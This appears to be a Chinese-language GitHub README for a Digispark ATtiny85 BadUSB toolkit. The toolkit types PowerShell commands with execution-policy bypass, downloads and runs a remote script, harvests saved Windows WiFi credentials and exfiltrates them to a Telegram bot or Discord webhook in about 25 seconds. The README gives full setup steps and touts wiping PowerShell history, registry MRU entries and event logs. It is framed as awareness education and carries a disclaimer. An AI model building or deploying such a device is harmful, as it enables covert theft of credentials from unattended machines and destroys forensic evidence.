Esther7171/Digispark-HID-Toolkit

GitHub: Esther7171/Digispark-HID-Toolkit

基于 Digispark ATtiny85 的开源 USB HID 键盘模拟工具包,用于 BadUSB 攻击演示、WiFi 凭据抓取及网络安全教育培训。

Stars: 2 | Forks: 0

Digispark HID Toolkit # Digispark HID 工具包 ### ATtiny85 USB HID 自动化框架 [![Stars](https://img.shields.io/github/stars/Esther7171/DigiStrike?style=for-the-badge&color=yellow)](https://github.com/Esther7171/DigiStrike/stargazers) [![Forks](https://img.shields.io/github/forks/Esther7171/DigiStrike?style=for-the-badge&color=blue)](https://github.com/Esther7171/DigiStrike/network/members) [![License](https://img.shields.io/badge/License-BSD%203--Clause-blue?style=for-the-badge)](LICENSE) [![Issues](https://img.shields.io/github/issues/Esther7171/DigiStrike?style=for-the-badge&color=red)](https://github.com/Esther7171/DigiStrike/issues) [![PRs](https://img.shields.io/github/issues-pr/Esther7171/DigiStrike?style=for-the-badge&color=green)](https://github.com/Esther7171/DigiStrike/pulls) [![Integration](https://img.shields.io/badge/Integration-Telegram%20%7C%20Discord-5865F2?style=for-the-badge&logo=discord&logoColor=white)](https://github.com/Esther7171/DigiStrike) **用于 USB HID 自动化、键盘模拟、设备脚本和网络安全教育的开源 Digispark ATtiny85 工具包。** [入门指南](#getting-started)  |  [Telegram 设置](#telegram-integration)  |  [Discord 设置](#discord-integration)  |  [文档](docs/)  |  [示例](examples/)
## 什么是 Digispark HID 工具包? Digispark HID 工具包是一个基于 **Digispark ATtiny85** 微控制器的开源框架,用于演示 **USB HID 自动化**、**键盘模拟** 和 **网络安全教育** 概念。 当插入计算机时,Digispark ATtiny85 会注册为一个 **USB 键盘设备**。宿主操作系统会无条件信任它——不需要驱动程序,没有防病毒提示,也没有 USB 存储警告。然后,该设备会以机器速度执行预先编程的击键,自动完成人类需要几秒钟才能完成的任务。 该工具包提供了两个随时可用的演示 payload,专注于 **WiFi 凭据安全意识**——向大学展览和 CTF 活动的观众准确展示数据能以多快的速度从无人值守的机器中读取,并在 25 秒内被外发到 **Telegram** 或 **Discord**。 ## 目录 - [功能](#features) - [硬件要求](#hardware-requirements) - [支持的平台](#supported-platforms) - [安装说明](#installation) - [入门指南](#getting-started) - [Telegram 集成](#telegram-integration) - [Discord 集成](#discord-integration) - [项目结构](#project-structure) - [示例](#examples) - [截图](#screenshots) - [用例](#use-cases) - [常见问题](#faq) - [路线图](#roadmap) - [贡献指南](#contributing) - [安全政策](#security-policy) - [免责声明](#disclaimer) - [许可证](#license) ## 功能 - 通过 Digispark ATtiny85 实现 USB HID 键盘模拟 - 用于安全意识演讲的 WiFi 凭据外发演示 - 两种外发渠道:Telegram bot 和 Discord webhook - 全自动——插入后不到 25 秒即可完成 - 零痕迹设计:清除临时文件、PowerShell 历史记录、注册表 MRU 和 Windows 事件日志 - 凭据以实时击键方式输入——不会存储在脚本文件或 GitHub 中 - 每次运行使用随机临时文件名 - 适合初学者的示例,用于学习 HID 自动化 - Telegram 和 Discord 集成的详细设置文档 - 用于 Markdown 和 PowerShell linting 的 GitHub Actions ## 硬件要求 | 项目 | 详情 | |------|---------| | Digispark ATtiny85 | 主板。推荐使用 USB-A 版本。 | | USB-A 端口 | 位于目标机器上 | | 用于刷写的计算机 | 装有 Arduino IDE 的 Windows、Linux 或 macOS | **哪里购买:** Amazon India、Robu.in、AliExpress 或任何当地的电子商店。 搜索:`Digispark ATtiny85` 成本:**低于 ₹300(约 3 美元)**——目前最实惠的 USB HID 工具。 有关完整的硬件详细信息、驱动程序安装和主板规格,请参阅 [docs/hardware.md](docs/hardware.md)。 ## 支持的平台 | 平台 | HID 自动化 | WiFi Payload | |----------|:--------------:|:------------:| | Windows 10 | 是 | 是 | | Windows 11 | 是 | 是 | | Linux | 是 | 否(payload 针对 Windows) | | macOS | 是 | 否(payload 针对 Windows) | Digispark ATtiny85 本身可以在任何 OS 上工作。WiFi 凭据演示 payload 专门针对 Windows,因为它使用了 `netsh wlan` 和 PowerShell。 ## 安装说明 ### 步骤 1:安装 Arduino IDE 从 [arduino.cc/en/software](https://www.arduino.cc/en/software) 下载 Arduino IDE 1.8.x 版本。 ### 步骤 2:添加 Digispark 开发板包 1. 打开 Arduino IDE。 2. 转到 `File` > `Preferences`。 3. 将此 URL 粘贴到 *Additional Board Manager URLs* 字段中: http://digistump.com/package_digistump_index.json 4. 点击 OK。 5. 转到 `Tools` > `Board` > `Board Manager`。 6. 搜索 **Digistump AVR Boards** 并点击 **Install**。 ### 步骤 3:选择开发板 ``` Tools > Board > Digistump AVR Boards > Digispark (Default - 16.5mhz) ``` ### 步骤 4:验证 DigiKeyboard 库 `DigiKeyboard.h` 库随 Digistump 开发板包一起提供。无需单独安装。 如果 Arduino IDE 报告缺少该库: ``` Sketch > Include Library > Manage Libraries > search "DigiKeyboard" > Install ``` ## 入门指南 选择您要使用的外发渠道,配置草图,然后进行刷写。 | 渠道 | 草图 | Payload 脚本 | |---------|--------|---------------| | Telegram | [digispark/telegram/r00t_b0t.ino](digispark/telegram/r00t_b0t.ino) | [scripts/void.ps1](scripts/void.ps1) | | Discord | [digispark/discord/r00t_b0t.ino](digispark/discord/r00t_b0t.ino) | [scripts/null.ps1](scripts/null.ps1) | 两个 payload 脚本都公开托管在 GitHub 上,没有任何机密信息。凭据在运行时以击键方式注入。 ### 刷写 Digispark 1. 在 Arduino IDE 中打开您选择的 `.ino` 文件。 2. 替换占位符值(token、聊天 ID 或 webhook URL——见以下章节)。 3. 点击 **Upload**。 4. 等待直到 Arduino IDE 显示: Running Digispark Uploader... Plug in device now... (will timeout in 60 seconds) 5. **只有此时**才能插入 Digispark。 6. 等待出现: >> Micronucleus done. Thank you! 设备已准备就绪。将其插入任何目标 Windows 机器即可。 ### 执行时间线 每个延迟都在 `.ino` 文件中硬编码,并且完全可调。 | 阶段 | 动作 | 默认时间 | |-------|--------|-------------| | HID 稳定 | OS 枚举设备 | 3.0秒 | | Win+R | 打开运行对话框 | 1.0秒 | | 打开 PowerShell | 使用 `-ep bypass` 启动 PS | 4.0秒 | | 注入凭据 | 将 token 或 webhook 作为环境变量输入 | 0.4秒 | | 执行 Payload | 下载并运行脚本,进行外发 | 15.0秒 | | 干净退出 | 关闭 PowerShell | 0.5秒 | | **总计** | | **约 23.9秒** | 在较慢的机器上增加延迟。在较快的机器上减少延迟。 ## Telegram 集成 本节将准确向您展示如何从头开始设置 Telegram bot 并将其连接到 Digispark 草图。详细的完整指南请参阅 [docs/telegram-setup.md](docs/telegram-setup.md)。 ### 步骤 1:使用 BotFather 创建 Bot 1. 在您的手机或桌面上打开 Telegram。 2. 在搜索栏中输入 `@BotFather` 并打开**已验证账户**(蓝色勾号)。 3. 点击 **Start** 或发送 `/start`。 4. 发送 `/newbot`。 BotFather 会问两个问题: **显示名称** —— 任何名称都可以,可以包含空格。示例:`My Data Bot` **用户名** —— 必须以 `bot` 结尾,不能有空格。示例:`my_data_r00t_bot` 如果用户名已被占用,BotFather 会提示您选择另一个。 完成后,BotFather 会回复您的 **API token**: ``` Use this token to access the HTTP API: 1234567890:ABCDefghIJKLmnoPQRsTUVwxyz1234567890 ``` 复制完整的 token,包括冒号前面的数字。请妥善保管。 ### 步骤 2:获取您的聊天 ID **私聊(仅限您和 bot):** 1. 在 Telegram 中搜索您的 bot 用户名并打开聊天。 2. 向 bot 发送任何消息(例如 `hi`)。 3. 在浏览器中打开此 URL,替换掉 `YOUR_TOKEN`: https://api.telegram.org/botYOUR_TOKEN/getUpdates 4. 在 JSON 响应中,查找: "chat": { "id": 987654321, "type": "private" } 5. 复制 `"id"` 旁边的数字。这就是您的聊天 ID。 **群聊:** 1. 创建一个 Telegram 群组并将您的 bot 添加为成员。 2. 在群组中发送任何消息。 3. 访问上面相同的 `getUpdates` URL。 4. 群聊 ID 以减号开头: "chat": { "id": -100987654321, "type": "supergroup" } 5. 复制包含减号在内的完整数字。 ### 步骤 3:配置草图 在 Arduino IDE 中打开 `digispark/telegram/r00t_b0t.ino`。 找到这两行: ``` DigiKeyboard.print("$env:TK='PASTE_TOKEN_HERE'"); DigiKeyboard.print("$env:CI='PASTE_CHAT_ID_HERE'"); ``` 替换占位符: | 占位符 | 填入内容 | |-------------|------------| | `PASTE_TOKEN_HERE` | 您的完整 bot token,例如 `1234567890:ABCDef...` | | `PASTE_CHAT_ID_HERE` | 您的聊天 ID,例如 `987654321` 或 `-100987654321` | 这些值以实时击键方式输入。它们永远不会到达磁盘、脚本文件或 GitHub。 按照[入门指南](#getting-started)中的说明刷写开发板。大约 24 秒后,一个包含所有已保存 WiFi 凭据的 `.txt` 文件就会发送到您的 Telegram 聊天中。 ## Discord 集成 本节向您展示如何创建 Discord webhook 并将其连接到草图。完整指南请参阅 [docs/discord-setup.md](docs/discord-setup.md)。 ### 步骤 1:创建 Discord 服务器(如果已有可跳过) 1. 打开 Discord。 2. 点击左侧边栏底部的 **+** 图标。 3. 点击 **Create My Own** 并按照提示操作。 4. 随意命名。示例:`Lab Alerts` ### 步骤 2:创建 Webhook 1. 右键单击您想要接收警报的频道,然后点击 **Edit Channel**。 2. 在频道设置的左侧边栏中,点击 **Integrations**。 3. 点击 **Webhooks**。 4. 点击 **New Webhook**。 5. 为 webhook 命名。示例:`r00t_b0t` 6. 使用 **Channel** 下拉菜单确认频道正确无误。 7. 点击 **Copy Webhook URL**。 该 URL 如下所示: ``` https://discord.com/api/webhooks/1234567890123456789/ABCDefghIJKLmnoPQRsTUVwxyz-LONGTOKEN ``` 请对此 URL 保密。任何拥有它的人都可以向您的频道发布消息。 8. 点击 **Save Changes**。 ### 步骤 3:预测试 Webhook(可选) 在刷写之前,请在您自己的机器上通过 PowerShell 验证该 URL 是否有效: ``` $wh = "https://discord.com/api/webhooks/YOUR_ID/YOUR_TOKEN" $body = ConvertTo-Json @{ content = "Test from Digispark HID Toolkit" } Invoke-RestMethod -Uri $wh -Method Post -ContentType "application/json" -Body $body ``` 如果消息出现在 Discord 中,说明 webhook 正在工作。 ### 步骤 4:配置草图 在 Arduino IDE 中打开 `digispark/discord/r00t_b0t.ino`。 找到这一行: Topics` 将这些主题添加到存储库,以提高发现率: ``` digispark attiny85 usb-hid hid keyboard-emulation usb-automation arduino embedded-systems device-scripting cybersecurity security-research windows badusb red-team arduino-hid ``` ## 免责声明 本项目仅供教育和授权的安全研究使用。 - 仅在您拥有或获得明确书面测试许可的设备上使用 - 适用于大学展览、CTF 实验室和网络安全意识研讨会 - 未经授权的使用违反了 IT 法案(印度)、CFAA(美国)及全球同等法律 - 作者不对滥用或由此产生的任何后果承担责任 ## 许可证 BSD 3-Clause 许可证 版权所有 (c) 2026 Esther7171 完整文本请参阅 [LICENSE](LICENSE)。 ## 作者 **Esther7171** [![GitHub](https://img.shields.io/badge/GitHub-Esther7171-181717?style=for-the-badge&logo=github&logoColor=white)](https://github.com/Esther7171) [![DeathEsther](https://img.shields.io/badge/Project-DeathEsther-8B0000?style=for-the-badge&logo=github&logoColor=white)](https://github.com/Esther7171/DeathEsther)
如果这帮助您了解了 USB HID 攻击和网络安全基础知识,请点一个 ⭐
标签:AI合规, Arduino, BadUSB, Digispark, IP 地址批量处理, Libemu, StruQ, UML, USB HID, 键盘模拟